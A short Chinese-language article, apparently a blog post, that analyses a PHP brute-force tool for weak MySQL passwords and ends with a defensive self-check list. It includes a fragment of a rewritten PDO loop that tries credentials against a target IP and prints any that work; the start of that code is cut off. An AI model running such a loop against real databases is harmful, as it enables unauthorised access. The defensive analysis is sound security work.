PHP 版 MySQL 弱口令爆破工具：原理分析與防禦體系

⚠️ 僅供授權測試與自查使用

未經書面授權對生產環境進行密碼爆破屬非法入侵行為，本文旨在揭示攻擊面以便建立對應防禦。

腳本邏輯解析

• 表單提交目標 IP
• 固定使用者名 root，遍歷密碼陣列
• 使用 mysql_connect()（已棄用）嘗試連線，成功即輸出密碼
• 無頻率限制、無連線超時控制、無並發保護

現代 PHP 改寫參考（PDO + 防禦）

 3,
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
            ]);
            echo "SUCCESS: {$user}:{$pass}";
            $found = true;
            break 2;
        } catch (PDOException $e) {
            // 記錄失敗日誌而非輸出
        }
    }
}
if (!$found) echo 'No valid credentials.';
?>

防禦矩陣

合規自查清單

1. 是否有對外開放 3306？
2. root 是否允許遠程登入？
3. 密碼是否符合複雜度並定期輪換？
4. 是否啟用登入失敗鎖定？
5. 應用是否使用最小權限帳號？
6. 是否有針對暴力破解的 WAF/IDS 規則？

將爆破腳本轉化為防禦檢查清單，才是安全研究的正確價值。